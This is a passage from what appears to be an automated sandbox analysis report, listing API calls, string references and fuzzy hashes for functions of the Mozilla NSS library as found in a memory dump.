Part of subcall function 6C0F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C0F781D,00000000,6C0EBE2C,?,6C0F6B1D,?,?,?,?,00000000,00000000,6C0F781D), ref: 6C0F6C40
Part of subcall function 6C0F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C0F781D,?,6C0EBE2C,?), ref: 6C0F6C58
Part of subcall function 6C0F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C0F781D), ref: 6C0F6C6F
Part of subcall function 6C0F6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C0F6C84
Part of subcall function 6C0F6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C0F6C96
Part of subcall function 6C0F6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C0F6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C0F6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C0F6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C0F6FF4

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: efdc057e33a768b7009b852fceaa374baecdd0ad73cd4790813e42e5de395feb
Instruction ID: 645b41289cb4a64f0a09878f455a38ea8e75a41ae02363fa5cd36222e34b9d45
Opcode Fuzzy Hash: efdc057e33a768b7009b852fceaa374baecdd0ad73cd4790813e42e5de395feb
Instruction Fuzzy Hash: 27B171B1E012199FEF00CFA5D845B9EBBF8AF05348F140125EC25E7641E735E99ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0F4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C0F4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C0F4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C0F4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C0F4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C0F4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0F4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0F4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C0F4DB7

Part of subcall function 6C15DD70: TlsGetValue.KERNEL32 ref: 6C15DD8C
Part of subcall function 6C15DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C15DDB4

Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07AD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07CD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07D6
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C03204A), ref: 6C0A07E4
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,6C03204A), ref: 6C0A0864
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C0A0880
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C03204A), ref: 6C0A08CB
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08D7
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08FB

TlsGetValue.KERNEL32 ref: 6C0F4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C0F4DEC
PR_Unlock.NSS3(?), ref: 6C0F4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C0F4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0F4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C0F4E71
free.MOZGLUE(00000000), ref: 6C0F4E7A
PR_Unlock.NSS3(?), ref: 6C0F4EA2
TlsGetValue.KERNEL32 ref: 6C0F4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C0F4ED6
PR_Unlock.NSS3(?), ref: 6C0F4F01
free.MOZGLUE(00000000), ref: 6C0F4F2A

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: beb0f3f1728c1ec791f6e5f166753133c49db112fbba17e9e4896ef7a710d0ac
Instruction ID: 9b7e28cc42d00b5dfe83cd336fcef11cee9a5241ef22762d32a732c5a5fdc581
Opcode Fuzzy Hash: beb0f3f1728c1ec791f6e5f166753133c49db112fbba17e9e4896ef7a710d0ac
Instruction Fuzzy Hash: 3DB106B1A00205AFDB00DFA8D945BAE77F4BF05318F444125ED2597B41EB34E9A6CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6C1428C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C145B40: PR_GetIdentitiesLayer.NSS3 ref: 6C145B56

TlsGetValue.KERNEL32 ref: 6C14290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C14291E
TlsGetValue.KERNEL32 ref: 6C142937
EnterCriticalSection.KERNEL32(00000001), ref: 6C14294B
PR_EnterMonitor.NSS3(?), ref: 6C142966
PR_EnterMonitor.NSS3(?), ref: 6C1429AC
PR_ExitMonitor.NSS3(?), ref: 6C1429D1
PR_EnterMonitor.NSS3(?), ref: 6C1429F0
PR_EnterMonitor.NSS3(?), ref: 6C142A15
PR_EnterMonitor.NSS3(?), ref: 6C142A37
PR_ExitMonitor.NSS3(?), ref: 6C142A61
PR_ExitMonitor.NSS3(?), ref: 6C142A78
PR_ExitMonitor.NSS3(?), ref: 6C142A8F
PR_ExitMonitor.NSS3(?), ref: 6C142AA6

Part of subcall function 6C179440: TlsGetValue.KERNEL32 ref: 6C17945B
Part of subcall function 6C179440: TlsGetValue.KERNEL32 ref: 6C179479
Part of subcall function 6C179440: EnterCriticalSection.KERNEL32 ref: 6C179495
Part of subcall function 6C179440: TlsGetValue.KERNEL32 ref: 6C1794E4
Part of subcall function 6C179440: TlsGetValue.KERNEL32 ref: 6C179532
Part of subcall function 6C179440: LeaveCriticalSection.KERNEL32 ref: 6C17955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C142AF9
free.MOZGLUE(?), ref: 6C142B16
PR_Unlock.NSS3(?), ref: 6C142B6D
PR_Unlock.NSS3(?), ref: 6C142B80

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: db221e9c6f43eed5eb34ff8533f59d601131c3ab9acb1e0e3e513ea9c0428fec
Instruction ID: 2a6e319949f20ae1ec1fe1748b79b12ea6d90d1d9c928d267f613890c95b1e79
Opcode Fuzzy Hash: db221e9c6f43eed5eb34ff8533f59d601131c3ab9acb1e0e3e513ea9c0428fec
Instruction Fuzzy Hash: 8881D5B1A007005BEB20DF34EC49B97B7F5AF15308F048929E85AC7B51EB32E558CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C0B8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C0B8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C0B8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C1E18D0,?), ref: 6C0B8F03
PR_CallOnce.NSS3(6C212AA4,6C1112D0), ref: 6C0B8F19
PL_FreeArenaPool.NSS3(?), ref: 6C0B8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C0B8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C0B8F65
PL_FinishArenaPool.NSS3(?), ref: 6C0B8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C0B8FFE
PR_CallOnce.NSS3(6C212AA4,6C1112D0), ref: 6C0B9012
PL_FreeArenaPool.NSS3(?), ref: 6C0B9024
PL_FinishArenaPool.NSS3(?), ref: 6C0B902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C0B903E

Strings

security, xrefs: 6C0B8EE7

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 0b06004dbf29828ae0e5882da3d578d2eb20fb30dd8b46d9d6eb43303617f0a2
Instruction ID: 3d9c35bb813789a394781e1b50fcccef49fb877c6315de808aef50ba862fa989
Opcode Fuzzy Hash: 0b06004dbf29828ae0e5882da3d578d2eb20fb30dd8b46d9d6eb43303617f0a2
Instruction Fuzzy Hash: D45137B1508201ABD610CA189C41BAF73E8EB9535CF50092EF954A7F50E736D908C753

Uniqueness

Uniqueness Score: -1.00%

Function 6C17CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C17CC7B), ref: 6C17CD7A

Part of subcall function 6C17CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C0EC1A8,?), ref: 6C17CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C17CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C17CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C17CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C17CD8E

Part of subcall function 6C0A05C0: PR_EnterMonitor.NSS3 ref: 6C0A05D1
Part of subcall function 6C0A05C0: PR_ExitMonitor.NSS3 ref: 6C0A05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C17CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C17CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C17CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C17CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C17CE48

Strings

getaddrinfo, xrefs: 6C17CD88, 6C17CDF9
freeaddrinfo, xrefs: 6C17CD9F, 6C17CE10
getnameinfo, xrefs: 6C17CDB2, 6C17CE23
wship6.dll, xrefs: 6C17CDE3
ws2_32.dll, xrefs: 6C17CD75

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 1c1020bae96cc84dd8fa8f871f14284ead5dd37759fbda3fb87e6ac537e4d81f
Instruction ID: 1ed065bae185546f62581a3cec0e35e2fea22e085bc77822b0e0fb827ee5d0df
Opcode Fuzzy Hash: 1c1020bae96cc84dd8fa8f871f14284ead5dd37759fbda3fb87e6ac537e4d81f
Instruction Fuzzy Hash: 451129A5E0365012EB10A6F56C29B9B3CD85B2610CF280535EC06D2F41FF31D599C6F6

Uniqueness

Uniqueness Score: -1.00%

Function 6C116CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C1E1DE0,?), ref: 6C116CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C116D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C116D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C116D82
DER_GetInteger_Util.NSS3(?), ref: 6C116DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C116DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C116E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C116F19
PK11_DigestBegin.NSS3(00000000), ref: 6C116F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C116F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C117011
PK11_FreeSymKey.NSS3(00000000), ref: 6C117033
free.MOZGLUE(?), ref: 6C11703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C117060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C117087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C1170AF

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 6c4017f578632343778b9ecc45873495e3d7bbe5a924a1166c98752c775fbfa6
Instruction ID: 03f8eb09154333450bbf92380a1e60f6a6074ef1f5dfe1a44563e6383817a8c5
Opcode Fuzzy Hash: 6c4017f578632343778b9ecc45873495e3d7bbe5a924a1166c98752c775fbfa6
Instruction Fuzzy Hash: 76A119B151D2059BEB009F24CC55B6A32A1DB9130CF244A79ED68CBF81E77EE849C793

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6C0CE477,?,?,?,00000001,00000000,?,?,6C0D3F23,?), ref: 6C0D2C62
EnterCriticalSection.KERNEL32(0000001C,?,6C0CE477,?,?,?,00000001,00000000,?,?,6C0D3F23,?), ref: 6C0D2C76
PL_HashTableLookup.NSS3(00000000,?,?,6C0CE477,?,?,?,00000001,00000000,?,?,6C0D3F23,?), ref: 6C0D2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C0CE477,?,?,?,00000001,00000000,?,?,6C0D3F23,?), ref: 6C0D2C93

Part of subcall function 6C15DD70: TlsGetValue.KERNEL32 ref: 6C15DD8C
Part of subcall function 6C15DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C15DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C0CE477,?,?,?,00000001,00000000,?,?,6C0D3F23,?), ref: 6C0D2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C0CE477,?,?,?,00000001,00000000,?,?,6C0D3F23,?), ref: 6C0D2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C0CE477,?,?,?,00000001,00000000,?,?,6C0D3F23), ref: 6C0D2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C0CE477,?,?,?,00000001,00000000,?), ref: 6C0D2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C0CE477,?,?,?,00000001,00000000,?), ref: 6C0D2D4D
EnterCriticalSection.KERNEL32(?), ref: 6C0D2D61
PL_HashTableLookup.NSS3(?,?), ref: 6C0D2D71
PR_Unlock.NSS3(?), ref: 6C0D2D7E

Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07AD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07CD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07D6
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C03204A), ref: 6C0A07E4
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,6C03204A), ref: 6C0A0864
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C0A0880
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C03204A), ref: 6C0A08CB
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08D7
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08FB

Strings

#?l, xrefs: 6C0D2C43

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1298017887
Opcode ID: e41ac813e2ca8c67a3acc8cbde5cc4f30b8d97879ba5acc38bf76a61a2052295
Instruction ID: 085ccd83fe0f3f64dca2451b3902f31ae8de8645992043600b4935fd883f4b3b
Opcode Fuzzy Hash: e41ac813e2ca8c67a3acc8cbde5cc4f30b8d97879ba5acc38bf76a61a2052295
Instruction Fuzzy Hash: 9651E5B5E00205ABDB009F64EC45AAA77F8FF1525CB058525EC1897B12EB31FD64CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6C12AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C12ADB1

Part of subcall function 6C10BE30: SECOID_FindOID_Util.NSS3(6C0C311B,00000000,?,6C0C311B,?), ref: 6C10BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C12ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C12AE08

Part of subcall function 6C10B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1E18D0,?), ref: 6C10B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C12AE25
PL_FreeArenaPool.NSS3 ref: 6C12AE63
PR_CallOnce.NSS3(6C212AA4,6C1112D0), ref: 6C12AE4D

Part of subcall function 6C034C70: TlsGetValue.KERNEL32(?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034C97
Part of subcall function 6C034C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034CB0
Part of subcall function 6C034C70: PR_Unlock.NSS3(?,?,?,?,?,6C033921,6C2114E4,6C17CC70), ref: 6C034CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C12AE93
PR_CallOnce.NSS3(6C212AA4,6C1112D0), ref: 6C12AECC
PL_FreeArenaPool.NSS3 ref: 6C12AEDE
PL_FinishArenaPool.NSS3 ref: 6C12AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C12AEF5
PL_FinishArenaPool.NSS3 ref: 6C12AF16

Strings

security, xrefs: 6C12ADEE

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: cb36a4467b5b9192d9b62289dfcfa565fdeb11ccd92d2c9a326438f9119e2c71
Instruction ID: 9ea79aaba1d31cf8946ca7cd957f429df6cd68730f5f8657e4bccd4fdc4a2996
Opcode Fuzzy Hash: cb36a4467b5b9192d9b62289dfcfa565fdeb11ccd92d2c9a326438f9119e2c71
Instruction Fuzzy Hash: A8414BB994421067EB205B189C49BAF72E4EF5271CF100525E91497F41FB3DE589CBE3

Uniqueness

Uniqueness Score: -1.00%

Function 6C11E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C11E853,?,FFFFFFFF,?,?,6C11B0CC,?,6C11B4A0,?,00000000), ref: 6C11E8D9

Part of subcall function 6C110D30: calloc.MOZGLUE ref: 6C110D50
Part of subcall function 6C110D30: TlsGetValue.KERNEL32 ref: 6C110D6D

Part of subcall function 6C11C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C11DAE2,?), ref: 6C11C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C11E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C11E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C11EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C11EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C11EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C11EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C11EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C11EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C11EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C11EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C11EBEC
free.MOZGLUE(00000000), ref: 6C11EC58

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: 6d05d9babd89f525c6f5996853f183464e2117d10c4d54ea82b70dc8a433dfe5
Instruction ID: 97648516b130610c1d6c2d2bd278d1582a10e0f63abf347e5d7fbf9ab707cd8c
Opcode Fuzzy Hash: 6d05d9babd89f525c6f5996853f183464e2117d10c4d54ea82b70dc8a433dfe5
Instruction Fuzzy Hash: 3BC183B1E092059BEB00CFA5DC89BAA77F4AF18308F150079E91697F51E739EA44CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C0C8E22
EnterCriticalSection.KERNEL32(?), ref: 6C0C8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C0C8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C0C8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C0C8E9B
